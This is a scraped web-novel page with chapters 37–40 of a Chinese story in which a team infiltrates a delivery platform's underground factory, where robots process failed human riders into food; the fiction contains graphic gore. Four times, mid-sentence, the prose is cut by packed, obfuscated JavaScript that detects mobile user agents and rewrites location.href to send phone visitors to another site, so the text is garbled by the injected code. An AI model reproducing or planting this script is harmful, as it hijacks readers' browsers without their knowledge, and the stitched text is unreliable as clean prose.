d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15449023|165628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月】:我相信大家都有保命的手段。赌输了,就各自安好吧。 【岑今】:没关系,要是赌输了,我就读档重来 【路阳】:老师们快看十一点方向! 路阳的消息刚发出去,熟悉的机械音就传进了众人的耳朵。 “警告——配送员李成杰,请立即停止逃跑!” 所有人的目光都向左前方转去,在一街之隔的对面,那里有一个同款方块机器人,正用黑洞洞的发射口指着它身前连滚带爬的人类骑手。 “不要,不要!”李成杰一个踉跄,手脚并用地向前奔扑,他亮黄色的冲锋衣,在黑夜里格外显眼,“我不是故意的,我是真的来不及送了啊!” “我第一次来这边,不、不熟悉路!这里都是小巷,一不留神就拐错弯了,我就迟了两分钟,就两分钟!” 对街的方块机器人像是没听到一样,连发射口都没有抖动分毫。 然后,蓝白的光柱无声地一闪,岑今不忍心地闭上眼,但凄厉的嚎叫还是精准地刺穿了她的耳膜。 “我的天呢,看着也太痛了吧……”路阳一连倒吸了好几口凉气。 岑今应声睁开了双眼,出乎她的意料,李成杰的胸口完好无损,倒是他□□的位置,被激光炮打了个对穿。 这是什么意思? 李成杰应该和她一样,也是配送超时了。按照追捕她的这位小方块的说法,配送超时需要“即刻执行清理”。 那为什么“清理”的方式是击穿配送员的□□,而不是直取他的性命? 总不能是机器人的恶趣味吧。 方块机器人合上金属面罩,换上一个标准的笑脸表情,不紧不慢地平移过去。 李成杰面色惨白,已然晕了过去。机器人调整好角度,像背书包一样把他背在了身后,然后转身平移进了身边的小巷。 岑今感觉到手下的小方块尴尬地扭了扭,像是人迈错了步子一样,本想往左转,又绊住脚走回了直线。 她立即收紧了小方块电池四周的“空间”,果断开诈:“我们为什么不走对面的小巷去工厂?走那儿更近吧。” “走这里也是——”它的声音戛然而止,紧急撤回了后半句话。 但很显然,它是想说,“走这里也是一样的”。 【咱们工人有力量(5)】 【岑今】:一个好消息,一个坏消息,想先听哪个? 【林思妍】:可以只听好消息嘛 【岑今】:好消息是,小方块应该确实打算带我们去工厂大本营 【姜月月】:那坏消息是什么? 【岑今】:坏消息是,对面的机器人和骑手也要去大本营 【谈闻】:所以,配送超时被清理的骑手,会被带去工厂? 【路阳】:啊啊啊啊啊,大本营里不会有全自动骑手清理流水线吧!那我们过去,岂不是自投罗网?可恶啊! 【岑今】:不入虎穴,焉得虎子? 【岑今】:不荡平饿死了么大本营,焉能终结试用期制度? 即使明知前方是陷阱,他们也要闯上一闯。 37.饿死了么(七) 在方块机器人的牵引下,几人又走过了三个街口,拐了六次弯。 周边的街景渐渐熟悉起来,岑今基本可以确定,这里离垃圾场不远,在她曾经的活动范围之内。 天边已经泛起鱼肚白,他们又熬了一个大夜。 “每次进副本都是作息紊乱。”岑今感叹道。 姜月月皱着眉头,一脸严肃:“这个副本结束,我必须要休假。” “我懂,你还在发育,不可以缺觉。”岑今笑了起来,她想起了她们俩在第一个副本里,刚认识的那会儿,“这次出去了,我们放小长假,大家好好休息。” “太好了老师们!是放假,我们有救了!”路阳的脸上写满了感动。 林思妍眼睛亮晶晶的,表示积极支持:“好呀好呀!我现在能交得起下学期的学费了,正好回学校去办点手续。” “这个小机器人,能不能听懂我们说这些?”谈闻走在和岑今并肩的位置,似笑非笑。他垂眸向前面的方块机器人看去,长而浓密的睫毛扇动,像是狐狸抖了抖尾巴尖儿。 之前怎么没发现他的眼睫毛这么好看呢。 岑今收回视线,咳了一声:“就算它能听懂,也没什么关系。” 方块机器人不语,只一味地平移。 “我只是有点好奇。”谈闻眨眨眼睛。 十分钟之后,拐过第九个弯,圈住垃圾场的铁丝网忽然柳暗花明地出现在众人眼前。 岑今本来还在有一搭没一搭地闲聊,现在立刻就不困了。 方块机器人推开铁丝网中央的铁丝大门,平移进了垃圾场。 考虑到还在直播,岑今没有直接开口,而是选择了群聊。 【咱们工人有力量(5)】 【岑今】:我现实世界中的家就在这附近 【路阳】:岑今老师,你这么厉害,为什么住垃圾场啊! 【岑今】:生活不易,生活不易 【姜月月】:那我们说不定住得挺近的。 【岑今】:那我可要来串门了 几人排成一列,跟着机器人进了垃圾场大门,然后拐进了角落里的一间平房里。 这是一间“焚化集中营”,装修是最原始的水泥风,凹凸不平的地面上整整齐齐地竖着两排垃圾焚化炉。 路阳用手掌给自己扇风,他已经肉眼可见的红了一点儿:“好热啊,我们为什么走到焚化房里来了?” 沉默了一路的小方块终于说话了:“‘饿死了么’的工厂,就在下面。” 垃圾场地下的外卖工厂,听起来就让人倒胃口。 走到第七个焚化炉,小方块停了下来。它用抓夹手拉开炉门,一座从外表看有模有样的焚化炉,居然只是一个空壳,里边完完全全是空心的。 五人加一机器人一起站在焚化炉里,不算特别拥挤,中间还能剩出一块空地。 小方块关上了炉门。 “这里下去就是工厂了,你们要去工厂做什么?”它问。 【主线任务:终结“饿死了么”平台试用期考核】 【完成进度:50%】 任务进度又大大往前迈进了一步,看来底下确实是工厂没错。起码到目前为止,小方块都是带着他们走在正确的道路上。 岑今不动声色地关闭了任务界面的光屏:“我们想去工厂参观学习。” “工厂原则上不允许人类进入,”小方块的金属面罩闪了闪,换上了一个为难的表情,“你们下去之后必须紧跟着我,服从我的指挥,表现出对我言听计从的样子,可以吗?” “为什么?” “因为这样别的机器人才会相信,你们是被我带来接受清理的,就不会有机器人去上报异常。” “上报?上报给谁?”岑今忽然就想起了进副本前,她在“梦中”看到的那只诡异人脑。 小方块像是没听到一样,又问了一遍:“可以吗?” 岑今和其他几人对视一眼,默契地点了点头——先答应了再说,至于一会儿照不照做,那就不一定了。 小方块蹲下身子,按动众人中间那块空地的地板。一块密码面板弹了出来,它用身体挡住了手上的动作,飞快地输入了一串数字。 “滴”声之后,地板打开,露出下面四四方方的密闭箱体。箱体四面都是朦胧反光的金属板,这疑似是一部开口向上的升降直梯。 他们的机器人“领队”率先跳了下去,落在箱底,抬头向几人招手。 “这是工厂电梯。”它补充了一句,似乎是想让他们放心。 队友们都像小青蛙进池塘一样跃进了电梯箱里,岑今是最后一个。头顶的地板合上,电梯缓缓下降。 趁着这个时间,岑今打开了之前拍下的工厂平面地图。 工厂整体呈一个顺时针旋转了90度的“凸”字形,凸出来的那一小半标注着“办公区”,剩下的另一半是回字形的同心结构,最外圈是“包装区”,中间圈是“加工区”,最内圈则是“原料处理区”。 而与正常的电梯不同,他们乘坐的这部工厂电梯里没有楼层按钮,取而代之的是三个“分区按钮”,分别标着“包装区”“加工区”和“原料处理区”。 此时,“原料处理区”的按钮亮着,是小方块机器人在最开始按下的。 电梯往下落到了底,箱体咯噔震了震,然后开始向前平移。 狭小的密闭空间内有些压抑,路阳试图和小方块搭话:“您好,请问原料处理区是做什么的?” “原料处理区,就是处理食物原材料的地方。”小方块话音刚落,电梯门应声向两侧打开。 他们终于看见了工厂内部的样子。和乱糟糟乌泱泱的大厅很不一样,这里的陈列很整洁,盛放食材的黑色传送带整齐排列,匀速向前滚动,齿轮运转的咬合声像白噪音般规律响起。 每条传送带两侧都零星站着两三位机器人,负责检查每一样被摆上传送带的食材是否合格。 地上,扫地机器人一刻不停地来来回回,吞噬每一处溅落的污渍,将银白色的地板擦得光可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15454097|165628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鉴人。 小方块示意岑今几人跟在它的身后,排成一列纵队走出去。 一位长方体机器人正摆弄着传送带上被拔光了毛的鸡,听到动静,回头和小方块打了个招呼:“看来你收获颇丰。” 小方块没有说话,只是点点头,金属面罩上已经换上了一个标准的笑脸。 他们一路向左走去,岑今悄悄用余光打量着四周。 每一条传送带上都整齐码放着同一种食材,有荤菜如鸡、鸭、不知名肉类,也有蔬菜如土豆、黄瓜,等等。 传送带的起点处都是平直的,但到了后半段,有的拐弯,有的向上攀升,错落交织,像是一座小型立交桥。 再往后,传送带直接穿过墙壁,看不见具体的走向。但根据工厂平面图来推断,传送带大概是直接与外圈的加工区连通,把食材各自送往它们该去的地方。 原料处理区的规模比岑今想象得更大,几人跟着小方块走了将近十分钟,才终于走到了头。 可是,最后一条传送带,却与之前的都不同。 周围的地面依旧被扫地机器人清理得干干净净,但空气中的血腥味却浓稠欲滴。岑今止不住地犯恶心,甚至生出一股干呕的冲动。 姜月月面色惨白,紧紧抿着嘴,从唇间挤出两个字:“人血。” 小方块停了下来。他们又一次见到了之前被追捕的李成杰,但这次,李成杰正被四个机器人抬着,双手与双腿向四角张开,像一只待宰的羔羊,被捆在了传送带上。 岑今瞪大眼睛,震惊了一瞬,而后迅速反应了过来——她早该想到的。 质检员周明的提示、诡异而昂贵的特制营养餐、李成杰被追捕时奇怪的攻击部位…… 机器人用激光炮打穿他的□□,一方面是让他失去行动能力,另一方面,也能最大限度地让他身上可食用的部分保持完整。 李成杰的前方,四脚朝天地躺着另一位和他一样被打穿了□□,晕死过去的人类骑手。 原来那些订单超时的人类骑手,那些考核失败的人类骑手,都会被绑到传送带上,成为“特制营养餐”的罪恶链条中,一份平平无奇的“原材料”。 岑今更想吐了。 传送带边上的长方体机器人处理完李成杰,向他们转了过来。它扫视一圈,对小方块问道:“这几个怎么还是清醒的?” 小方块头顶笑脸:“他们很配合,放弃抵抗了。” 长方体机器人带着一个疑惑的简笔画表情,将小方块身后的这五个人类一个一个地仔细看了过去。 他们都低着头,双手颤抖着,一副垂头丧气的胆怯模样。 于是他换上了一个和小方块一样的笑脸表情:“很好,很久没见过这么聪明的人类了。你说之前的那些骑手,何必要挣扎呢?白白让自己多遭一次罪,直接躺上传送带一刀——” “是啊,是啊。”小方块不想让它继续说下去了。 然而,在它们看不见的地方,害怕到双手颤抖的五人,正聊得热火朝天。 38.饿死了么(八) 【咱们工人有力量(5)】 【路阳】:咋办啊咋办啊咋办啊,我们不会也要被绑上去吧?? 【林思妍】:啊,要变成特制营养餐了呢 【路阳】:不要啊啊啊——老师们,不如我们即刻起义吧!要死,也要死出尊严! 【岑今】:谁说要死了? 【岑今】:但传送带还是得上的。要是直接在这里撕破脸,除非真能杀穿整整一工厂的机器人,不然我们还怎么往下推主线任务? 【姜月月】:支持。 【谈闻】:那队长大人有何妙计? 【岑今】:妙计没有,只有赌局 【林思妍】:哇,这次我们赌什么? 【岑今】:赌一会儿传送带上的那“一刀”,是金属做的。 身后四人的目光都汇聚在岑今身上,没有再继续问下去。 虽然认识的时间不算久,但岑今给人的感觉,就是会有一种莫名的安心——遇到难解的困局,她总是第一个上前,不论过程如何,结局似乎总是能顺利解决。 他们相信她。 长方体机器人绕过小方块,移到几人面前,用毫无起伏的电子音问道:“谁是第一个?” 岑今脸上的表情变了三变,先是疑惑,再是恍然大悟,最后是愤怒。 她用三分不敢置信七分气势汹汹的语气质问小方块:“你不是说,只要我不杀你,你就有办法保下我们吗?” “你别太天真了,就算是躺上传送带,我一样可以杀了你,”岑今隔空捏紧了小方块的电池,然后转向长方体机器人,“还有它。” 她又接着说:“我相信你心里有数。” 说完,没有给任何人留下反应的时间,她直接就躺在了传送带上,还迅速把自己的手脚送进了卡扣。 她仰头看向传送带的末端,在穿越墙面之前,传送带先进入了一个近三米长的黑箱。 李成杰的身躯被黑箱吞没,然后接连传来了几声闷闷的“噗吱”声。 岑今在心中为他默哀了几秒。 小方块之前说的“对死亡感到恐惧”,说愿意带他们参观工厂,显然都是假话。 它带他们来工厂,只是为了把他们送上这条传送带,顺理成章地完成它的使命——清理违规的、低效的人类骑手,让他们成为特制营养餐的原材料。 岑今当然没有完全相信它,但也不是真的想杀它。 她说这些,是要把水搅浑,尽可能地分散两位机器人的注意力,再顺手埋下一颗怀疑的种子。 长方体机器人机械地看了看她,又机械地看了看小方块。 “什么意思?”它问。 小方块先转向岑今,又转向它的长方体同事,金属面罩上的表情再一次开始乱闪。 岑今几人当然不会回答它。岑今在传送带上已经驶出了一个身位,下一个半推半就着躺上传送带的是林思妍。再接着,是路阳、姜月月和谈闻。 半分钟不到,五人就已经成了传送带上整整齐齐的五只“待宰羔羊”。 “我、我没有……”小方块磕磕巴巴的声音远远落在身后,“她已经疯了!我、我不知道她在说什么。” 岑今抬眼瞟着距离越来越近的黑箱,默默地吞了口口水——说实话,在这种一着不慎就会被伸头一刀的时刻,她还是很有些紧张的。 五、四、三、二——岑今在心中默数,倒计时与她的心跳同频。 一。 她的头发顶开了黑箱入口处的幕布,浓重的血腥气扑面而来,塞满她的鼻腔。 岑今尽力仰起头,眼球恨不得钻到头顶,拼命向前方看去。 昏暗的视野里,丝丝寒光闪过,她看清了箱内的布局:大约在黑箱两头三分之一处,两副半圆形的巨大刀片悬在头顶,刃口的锋芒凝成一道慑人的细线,还沾着尚未清理的红白血肉,不知何时会再一次落下。 岑今的心蹦到了嗓子眼。 她屏住呼吸,右手微微颤抖着,用最快的速度张开了传送隧洞,一头在手掌之上,另一头在黑箱顶部正中央,两副刀片的中心点。 她手中银光一闪,然后,一块泛着银光的马蹄形磁铁就出现在了头顶的传送隧洞中,正随着隧洞里半透明介质的流动而微微起伏。 那个瞬间,明明不过是一眨眼,在岑今一毫一厘不敢偏移的目光中,却又好像漫长得像一个世纪。 【万磁王】 「一块神奇的磁铁,可以吸附半径一米内的一切金属物质,持续时间30秒,使用间隔30分钟。」 下一刻,一左一右两副刀片啪地向中间弯折——岑今赌赢了,传送带上的这两把刀,果然是金属。 它们的顶端被固定在黑箱上,没办法脱离;但底部被【万磁王】牢牢地吸引,紧紧贴住黑箱的箱顶,震颤着向正中央伸展。 岑今的鼻尖已经与第二副刀片的刀尖平齐,她长长地吐出憋了一路的气,砰砰的心脏缓缓落回原位。 在【万磁王】生效的这三十秒内,刀片不会落下来了——感谢馆长,他总算是做出了点有益的贡献。 倒计时还剩二十五秒,岑今被扣在最上面的双手离开了黑箱,下一个林思妍的脑袋也已经到了和第一副刀片平齐的位置。 岑今迅速用空间操纵拧断了手腕和脚腕的卡扣,起身单手抓住了身侧的墙壁,让自己稳稳地蹲在黑箱里传送带的末端。 “上个副本的奖励道具,”岑今指了指头顶发光的马蹄形磁铁,“能吸附周围的金属物质三十秒。” 林思妍惊讶地牵起嘴角,扬起了一个大大的笑脸。 在她的双脚也完全没入黑箱的那一刻,岑今的右手手指动了四下,扣住林思妍手脚的四个卡扣随之弹开。 “给你解开了,快过来。”岑今朝她招招手,“磁铁的时效还剩二十秒。” “太厉害了,队长!我就知道信你没信错!”林思妍小声但兴奋地喊道,三步并作两步,向岑今扑了过去。 岑今一手揽住她,现在变成了两人并排蹲在传送带的末端。 接下来的姜月月和路阳也是同样的流程,双脚一进入黑箱,岑今就帮他们脱开了卡扣。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15474191|165628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四个人一起堵在墙壁的开口处,等待他们的最后一位队员。 倒计时还剩八秒。 黑箱的入口正卡在谈闻的胸口处,他还有半截身子露在外面。 “有时候长得高也不是件好事啊啊啊!”路阳一边紧张地盯着时间,一边瞟着谈闻的位置,眼神不停来回游移,“我现在对185没有执念了……” “你说得对。”谈闻幽幽地开口。 岑今先帮他打开了扣住双手的卡扣,他无意识摩挲着手腕上的红痕,眼神落在入口处的幕布上。 幕布落在他的大腿上,他的头顶还不到第一副刀片的位置。 倒计时还剩六秒。 “外面两个机器人还在吵架,没注意到我们这边。”他的嗓音很平静,听不出紧张,比蹲在那儿的四人都要淡定。 “嗯。”岑今的视线紧紧锁住黑箱的入口,心不在焉地应了一声。 倒计时还剩四秒。 幕布落在谈闻的小腿中间。三、二—— 他脚腕处的一对卡扣终于进入了黑箱,几乎是同一时刻,岑今就已经啪啪两下拧断了锁扣。 “进隧洞!”来不及了,她低声吼道,手背凸起青筋,另外又打开了一个传送隧洞,直接开在了谈闻的身侧。 一—— 入口处的黑色幕布刚从谈闻的脚尖落下,他没有丝毫停顿,一个转身利落地滚进了传送隧洞。 头顶马蹄形磁铁的银光暗淡下去,三十秒走到了尽头,左右两副刀片嗡鸣着弹回原位,然后毫不留情地向下压来。 不过,传送带上已经不见人影。谈闻蜷起身体,从传送隧洞的另一头滚了出来,结结实实地砸在墙壁洞口四人组身上。 岑今松了口气,不知不觉,她的手心已经沁出一层薄汗。 她松开抓住墙沿的手,一屁股坐了下去,让传送带送自己穿过墙壁,离开原料处理区,进入到了工厂三层同心结构的的中间层——加工区。 加工区内部可以一分为二,靠近原料处理区的一半,依旧是错落的传送带“高架桥”。“桥下”的地面上空无一机器人,或许是因为原材料们送到了这里,应当都已经是死物,没有看管的必要了。 而靠近外层包装区的一半,则是一格一格的食品制作间,布局和“饿死了么”大厅的取餐窗口有些类似。 传送带会将原材料直接送入不同的房间,比如岑今他们这一条传送带,进入的就是特制营养餐的制作间。 “我的天呐老师们!真的是吓死我了,我刚刚都紧张得有点想吐了!”路阳的声音从后面传来。 姜月月瞥了他一眼:“心理素质有待加强。” 不过说实话,她刚才也是紧张的,只是脸上照旧是没有什么表情。 林思妍笑眯眯地说:“没关系的,就算谈老板的头被切掉了,只要捡得够快,我应该也是能帮他缝回去的。” “但现在大家都平安过关,那肯定是最好的啦。” 谈闻也坐在传送带上,最后一个穿越了墙壁,瞟了一眼林思妍:“你听起来有点遗憾。” 39.饿死了么(九) 林思妍呵呵摆手:“没有这回事呢。” 几人都已经进入了加工区,正以不算慢的速度匀速向制作间驶去。 谈闻遥遥看向坐在最前面深呼吸的岑今,打了个响指,冲她笑道:“配合默契。” 岑今偏过头,也遥遥看过去,给谈闻比了个大拇指:“手脚灵活。” ……听起来似乎不怎么像夸奖。 传送带的后半截是一段下坡,最后与制作间墙面上一个正方形的开口相连,通进未知的屋里。 岑今抓紧了传送带的边沿,让自己坐得更稳当一些。 “一会儿谈闻跟我进去,其他人先跳下来,在制作间外面接应,如何?”她提议,侧过身向后看去。 姜月月点头:“可以,避免被一锅端。” 正好加工区的传送带层层叠叠,又没有机器人看守,找个隐蔽的地方藏身并不难。 谈闻也点点头,表示没问题。 他进去负责给岑今扔骰子,其他人留在外面负责监控情况,随机应变——分工明确,各司其职,挺好。 安排妥当,岑今转回了脑袋,双眼紧紧盯着传送带尽头,越来越近的正方形开口。 她矮下身子,试图通过开口往里看,可室内的光线似乎很昏暗,根本看不清里面的情况。 传送带就快到头了,她躺了下来,像一份合格的原材料一样平摊在传送带上——但是是头朝后,脚朝前的姿态,这样不会后脑勺着地,比较安全。 岑今深吸了一口气,绷紧全身的肌肉,做好准备从传送带末尾下落。开口的位置不高,她还在用力闭眼,身体就已经砸在了地面上,发出“咚”的一声闷响。 她没顾得上疼,迅速睁眼打量起了四周。 她掉在一个半人高的铁皮桶里,桶内红红白白的不明物质溅得四处都是,岑今从桶底撑起身子,沾了一手,触感湿软粘腻。 这东西究竟是什么,不能细想。 制作间里果然没有开灯,铁皮桶前方几步远的位置摆了一条长桌,只有长桌上放了一条细细的桌灯。 冷白的光映在桌前长方形机器人的金属外壳上,它背对着铁皮桶,右侧的“小臂”是一把砍刀,左手的抓夹同时抓了两瓶调味料。 “订单要求……红烩……”机器人无意识地念着做法,“五泵番茄酱,一碗红酒……” “啦啦啦……” 右手的砍刀砰砰落下,它毫无起伏地哼着歌,不成调的段落支离破碎地在屋里盘旋。 僵硬的歌声里,又响起一声沉闷的“咚”声——是谈闻。 谈闻也从开口处砸了下来,岑今特地给他让了个位置,没让他直接砸在自己身上。 他的双手和衣裤沾上了桶内的不明物质,谈闻难得皱起了眉头,即使在这样昏黑的环境里,也看得出他脸上明晃晃的嫌弃。 机器人还在处理长桌上的上一份“原材料”,看样子一时半会儿,还没空搭理他们这两份新鲜材料。 岑今已经有了对策,她对谈闻打了个手势,示意他留在桶里藏好,另一手打开了传送隧洞。 铁皮桶不知道多久没清洗过了,又或者从来都没有清洗过。谈闻抬手遮住鼻子,咬着后槽牙比了个OK。 岑今钻进隧洞,消失在眼前。再一眨眼,她已经从隧洞的另一头踏出,轻巧地在长桌旁落地。她背着手,下巴微抬,刻意不去看桌上那一滩烂肉,无比自然地朝专心备餐的机器人走过去。 “质量检查。”岑今用指节敲了敲桌子,冷不丁开口,声音懒懒散散的。 机器人停下动作,歌声也戛然而止。它顶着金属面罩旋转了九十度,面无表情地看向她。 岑今压低声音,凑近了道:“咳,之前的质检员不懂事,这次上面跟我打过招呼了,说就是走个过场,你直接带我去见你们主管就行。” 他们从进入外卖工厂开始,到穿越原料处理区,抵达加工区,主线任务进度又涨了10%,目前显示完成进度是60%——这说明他们深入外卖工厂的决定是正确的。 但要想“终结‘饿死了么’平台试用期考核”,光和这些执行层的机器人斗智斗勇没用,不论后续如何发展,第一步肯定是要找到管理层,和管理层进行对话,或者直接对打。 所以,岑今打算先诈一诈眼前的这位厨子机器人。 厨子机器人有些迟钝地出声了:“未收到质检通知。” “就今天刚通知我来的,你不知道?”岑今故意皱起眉头,一副煞有介事的样子。 “不可能。”机器人右手依旧举着砍刀,左手抓夹将调料瓶放回了桌上,“质量检查的通知不可能没有同步到我的系统。” 铁皮桶里的谈闻屏住呼吸,金色的六面骰已经漂浮在手心。 机器人的金属面罩上浮现一个疑惑的简笔画表情,豆豆似的眼睛一明一暗地闪烁:“正在核实身份……” “咳!”岑今猛地咳嗽一声,与此同时,谈闻抛出六面骰向她扔去。这次他的运气是真的不错,直接投出了数字“3”。 岑今伸手,一把捏碎了骰子,然后——【时间回溯】。 在三倍异能增幅的加持下,她【时间回溯】的极限拉长到了半分钟。 这一次,她直接回到了铁皮桶里。 没有任何犹豫,岑今把传送隧洞开在了厨子机器人身后。她依旧是轻巧地迈出隧洞,将手掌放在它的头顶,意识力向下探去,几乎是在瞬间锁定了电池组的位置。 岑今勾了勾手指,机器人还没有转过身来,她就已经迅速地拧断了几根关键的线路。 “滋滋——”机器人的动作突然卡顿,金属面罩上的表情像是花屏了一般变形扭动。 岑今又张开五指,肉眼不可见的空间振动从她掌心扩散开去,直直触到电池组的边缘。 “晚安。”她笑了笑,手腕猛地往下一压,直接将电池的边角削去了一块。 本来想智取的,这下好了,又被逼着搞破坏了。 机器人的金属面罩骤然黯淡,它整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15489697|165628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个身躯像是被抽走骨架般垮了下来。岑今及时错开一步,以免被这台方方正正的机器砸中。 制作间陷入寂静,没了机器人的低语和诡异的歌声,连通风系统运作的微弱嗡鸣声都在此时被放大。 谈闻长腿一迈,从铁皮桶中跨了出来,甩了甩沾满不明物体的手:“我有一种我的能力被用过了的感觉。” 按理说,时间回溯之后的世界线中,她没问谈闻要骰子,他不应该有这种感觉。也不知道他是随口一说,还是感知力太过敏锐。 岑今打了个哈哈:“说来话长,说来话长。” “总之,我是迫不得已让这个机器人报废的。”她满脸无辜。 “我们应该要去办公区吧。”谈闻忍着恶心,走到长桌旁,一边观察桌面上被剁了一半的骨肉,一边问道,“你带我们传送过去?” “不行。”岑今摇头,“我不清楚这个地方的具体构造,直接传送相当于开盲盒,风险太大,万一传进机器人堆里就尴尬了。” 谈闻嘴角扬了扬:“你是不是本来想骗这个机器人,让它带我们过去?” “这你也猜到了?”岑今有些惊讶地看了他一眼,“我本来和它说,我是上头打点过关系的质检员,让它带我去和它们主管对接。” “但应该是被它识破了,‘饿死了么’的机器人,智能水平比我想象的高。”是她轻敌了。 “周明给你的灵感吗?”谈闻捏着半截断骨,随口问道。 岑今刚要回答,头顶忽然传来了一阵轻微的叩击声。 “笃、笃笃。” 两人同时抬头,目光向声音的来源寻去——天花板角落的通风管道盖板,似乎在微弱地震动。 岑今眉头一压,伸手拦在谈闻身前,手掌上张开一个与屋外连通的传送隧洞。 “谁?”她盯着通风管道,沉下嗓音。 “咳咳……”一个沙哑得不像人声的声音从缝隙中传来,“你们……认识周明?” 岑今和谈闻对视一眼,不用开口,就已经读懂了彼此的意思——上去看看。 这种时候,长得高还是有点用的。 谈闻踩上桌子伸手,刚好能碰到角落里的盖板。 盖板被推开的瞬间,一股腐肉和消毒水混合的气味扑面而来。 谈闻仰头看去,通风管道中,一个形销骨立的人影匍匐在黑暗中。他的工作服已经破烂不堪,露出的皮肤上淤青随处可见,身体关节处布满了又宽又深的结痂伤口。 他眯起眼睛,不答反问:“你是谁?” 岑今在下面拽了拽谈闻脏兮兮的裤腿,对他做了个口型:什么情况? “咳!周明……地图……”男人的嗓音嘶哑浑浊,说起话来就像是干涸的泉眼艰难挤出了两滴清水。 “地图?”岑今敏锐地捕捉到了关键词。 谈闻弯腰靠近她耳边,小声汇报:“通风管道里是一个骑手打扮的人类,看样子在这里呆了很久了,状态不太好,不知道怎么活下来的。” 40.饿死了么(十) 听完,岑今也站上了桌子。她让谈闻唤出了六面骰照明,自己踮起脚向通风管道看去。 那个骷髅般的男人手边有几张摊开的餐巾纸,上面深褐色的痕迹勾勒出平直的线条,还有几个简单的文字。 岑今看出来了,这就是周明邮件里的那幅手绘地图。 她当时还在想,为什么照片里的那张地图看起来那么简陋,原来是在这样的条件下画出来的。 “你是考核失败的人类骑手?”岑今看着他的眼睛,问道。 男人点点头,仍然用嘶哑的嗓子坚持着那个问题:“你们,认识周明?” “我听到你们在说……他的名字。” 岑今有片刻的犹豫,但最终还是决定如实相告:“我们见到了他的尸体。” 她从衣服口袋里拿出了周明的光脑,又给男人看了自己拍下的地图照片:“这是他的光脑。我看了他的邮箱,地图是你发给他的吧?” 男人张了张嘴,眉头颤抖着,看起来似乎是悲伤,又像是在说“果然如此”。 谈闻不知道从哪儿找来了一杯液体递给男人,看着大概率是水,虽然浮着几滴油,但起码能喝。 他接过,不管不顾地灌进嘴里,急得连连呛咳。 “咳咳咳咳咳!”一杯水一眨眼就见了底,他抹去嘴角流下的的液体,指了指手边的餐巾纸,“这是周明让我画的。” “他说他会来救我。” 周明最初一定是想要救他的。可是现在周明的计划失败了,他死了。 岑今沉默了一瞬:“——你为什么会藏在这里?” “我被机器人押着带进原料处理区的时候,正好碰上周明在和那群机器人吵架。”男人换了个姿势,屈着腰靠墙坐了起来,“吵得很凶,还动手了。” “我们那一批有十几个骑手,当时场面很混乱,我找了个机会逃出了队伍,居然还真没被发现。” 谈闻又给他递了一杯水。 “谢谢,我都不知道多久没喝过水了。”他囫囵咽下,又接着道,“我本来甚至想趁乱坐电梯出去,但那电梯好像只有机器人能打开,我打不开。” “我手脚都受了伤,随时都感觉自己要被发现,要被抓回去了。但幸好电梯边上有个通风管道口,我想也没想就钻了进去,我看电影里都是这么演的。” 虽然充满了机缘巧合,阴差阳错,但小伙子实在是很有做卧底的天赋。岑今在心中默默感叹。 “我顺着管道往前爬,发现这里面连通的范围还挺大的。我爬到一间库房上面的时候,正好周明也在库房里。” 岑今插了一句嘴:“原来你们是这么认识的。” “对,我看跟着他的机器人在外面,我就想试试和他搭话。他发现了我,看了一眼我穿的骑手服,就明白了我的情况。” “他让我帮他画一幅这个地方的平面图,他说他一定会回来救我,还会把狗平台的肮脏买卖公之于众!”男人呼哧呼哧地大口喘着气,红了眼睛,“他叫我一定要藏好了,安全第一。” “我给他发了邮件,我的光脑虽然还有电,但我早就没了爸妈,不知道为什么,和这个工厂相关的贴子也完全发不出去,我根本不知道还能向谁求助!” “没关系,周明没来得及做的事,我们会替他完成,如果你愿意相信我们的话。”岑今斩钉截铁地说。 男人扭头看着她,吸了吸鼻子。 但现在,她有一个问题:“地图是你藏在管道里画完的,也就是说,通风管道还连通了办公区?” 男人点点头:“都是通的,可以爬过去。” 太好了!岑今紧接着发问:“那你愿意带我们爬过去吗?” “我只在管道口看了看,那里是一条走廊,两边房门都紧紧关着。我呆了一段时间,一直没看到有人出来。”男人不明所以,有些发愣。 岑今又想起了那只密密麻麻挂着电线的诡异人脑。没人出来就对了,长成这样的东西,确实也不太方便出来。 